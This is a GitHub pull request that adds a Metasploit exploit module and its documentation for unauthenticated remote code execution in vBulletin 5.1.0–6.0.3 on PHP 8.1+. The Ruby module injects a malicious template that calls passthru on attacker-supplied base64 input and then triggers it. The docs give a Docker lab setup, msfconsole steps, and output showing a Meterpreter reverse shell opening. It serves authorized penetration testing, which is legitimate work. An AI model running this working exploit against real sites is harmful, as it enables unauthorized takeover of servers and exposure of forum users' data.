Skip to content
Merged
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,170 @@
## Vulnerable Application

This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template
rendering system, affecting **vBulletin 5.1.0 through 6.0.3** on **PHP 8.1+**.
An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
`passthru(base64_decode($_POST[<param>]))`, then trigger execution via the `ajax/render/ad_<location>` endpoint,
yielding arbitrary code execution as the webserver user.

> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.

---

## To replicate vulnerable environments

1. **vBulletin 6.0.1 (tested)**

* Purchase and download vBulletin 6.0.1 from the official portal.
* Extract all files into `./upload/`.

2. **Other versions (5.1.0–6.0.3)**

* Repeat the above with any of the supported versions.
* Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.

---

## Docker Compose Configuration

```yaml
services:
db:
image: mysql:5.7
container_name: vbulletin_db
restart: unless-stopped
environment:
MYSQL_ROOT_PASSWORD: root_password_here
MYSQL_DATABASE: vbulletin
MYSQL_USER: vbulletin
MYSQL_PASSWORD: vb_password_here
volumes:
- db_data:/var/lib/mysql

web:
build: .
container_name: vbulletin_web
depends_on: [db]
ports: ["8888:80"]
volumes:
- ./do_not_upload:/opt/vbulletin-tools:ro
environment:
VB_DB_HOST: db
VB_DB_NAME: vbulletin
VB_DB_USER: vbulletin
VB_DB_PASS: vb_password_here

volumes:
db_data:
```

Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:

**Dockerfile**

```dockerfile
FROM php:8.1-apache

COPY upload/ /var/www/html/
COPY do_not_upload/ /opt/vbulletin-tools/

RUN apt-get update && \
apt-get install -y --no-install-recommends \
libzip-dev zlib1g-dev libonig-dev \
libpng-dev libjpeg-dev libfreetype6-dev && \
docker-php-ext-install \
zip mysqli pdo_mysql gd mbstring && \
a2enmod rewrite && \
rm -rf /var/lib/apt/lists/*

RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini

COPY docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["apache2-foreground"]
```

**docker-entrypoint.sh**

```bash
#!/bin/bash
chown -R www-data:www-data /var/www/html
exec "$@"
```

---

## Verification Steps

1. **Start the environment**
```bash
docker-compose up -d
```

2. **Install vBulletin**
Browse to [http://localhost:8888](http://localhost:8888) and complete the installer:

* **Database Host:** db
* **DB Name:** vbulletin
* **DB User:** vbulletin / vbpass

3. **Run `msfconsole`**

```bash
use exploit/multi/http/vbulletin_replace_ad_template_rce
set RHOSTS 127.0.0.1
set RPORT 8888
set TARGETURI /
check
```
* You should see:
```bash
[*] Detected vBulletin version: 6.0.1
[*] 127.0.0.1:8888 - The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4)
```

---

## Options

No option

---

## Scenarios

### Unauthenticated Pre-Auth RCE

1. Ensure vBulletin 5.1.0–6.0.3 is installed and running on PHP 8.1+.
2. In `msfconsole`, configure and run:

```bash
set RHOSTS localhost
set RPORT 8888
set TARGETURI /
```

---

## Expected Results

### With `cmd/linux/http/x64/meterpreter/reverse_tcp`

```plaintext
msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Detected vBulletin version: 6.0.1
[+] The target appears to be vulnerable. vBulletin version 6.0.1 is likely vulnerable (< 6.0.4)
[*] Injecting RCE template at location 'MDb' with POST param 'YHp'
[*] Triggering payload execution via routestring 'ajax/render/ad_MDb'
[*] Sending stage (3045380 bytes) to 172.28.0.3
[*] Meterpreter session 9 opened (192.168.1.36:4444 -> 172.28.0.3:45980) at 2025-05-23 22:46:22 +0200

meterpreter > sysinfo
Computer : 172.28.0.3
OS : Debian 12.11 (Linux 6.14.6-2-cachyos)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
131 changes: 131 additions & 0 deletions modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,131 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Payload::Php

def initialize(info = {})
super(
update_info(
info,
'Name' => 'vBulletin replaceAdTemplate Remote Code Execution',
'Description' => %q{
This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
present in versions 5.1.0 through 6.0.3. The vulnerability allows unauthenticated attackers
to invoke protected controller methods via the `ajax/api/ad/replaceAdTemplate` endpoint,
due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.

Specifically, it targets the `vB_Api_Ad::replaceAdTemplate()` method to inject a template
containing a `<vb:if>` conditional that evaluates attacker-supplied PHP using the
`passthru($_POST[<param>])` construct. The malicious template is then executed via
a second unauthenticated request to `ajax/render/ad_<location>`.

Successful exploitation results in arbitrary command execution as the webserver user,
without authentication. This module supports payloads for PHP, Linux, and Windows.

Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1.
},
'Author' => [
'Egidio Romano (EgiX)', # original PoC
'Valentin Lobstein' # Metasploit module
],
'References' => [
['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'],
],
'License' => MSF_LICENSE,
'Platform' => %w[unix linux windows],
'Arch' => [ARCH_PHP, ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-05-23',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
)
return CheckCode::Unknown('Failed to retrieve page content') unless res&.code == 200

doc = res.get_html_document

meta = doc.at_xpath('//meta[@name="generator"]/@content')
return CheckCode::Safe('vBulletin not detected') unless meta

content = meta.value
version = content[/vBulletin\s+([\d.]+)/i, 1]
return CheckCode::Safe('vBulletin not detected') unless version

print_status("Detected vBulletin version: #{version}")
v = Rex::Version.new(version)

if v < Rex::Version.new('6.0.4')
CheckCode::Appears("vBulletin version #{v} is likely vulnerable (< 6.0.4)")
else
CheckCode::Safe("vBulletin version #{v} is likely patched (>= 6.0.4)")
end
end

def exploit
loc = Rex::Text.rand_text_alpha(3, 8)
param = Rex::Text.rand_text_alpha(3, 8)

post_data = {
'routestring' => 'ajax/api/ad/replaceAdTemplate',
'styleid' => '1', # Can't randomize this value
'location' => loc,
'template' => "<vb:if condition='\"passthru\"(\"base64_decode\"(\$_POST[\"#{param}\"]))'></vb:if>" # Sadly we can't use eval() here
}

print_status("Injecting RCE template at location '#{loc}' with POST param '#{param}'")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => post_data
)

unless res&.body&.strip == 'null'
fail_with(Failure::UnexpectedReply, 'Failed to create RCE template (expected "null")')
end

print_status("Triggering payload execution via routestring 'ajax/render/ad_#{loc}'")
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'routestring' => "ajax/render/ad_#{loc}",
param => Rex::Text.encode_base64(payload.encoded)
}
)
end
end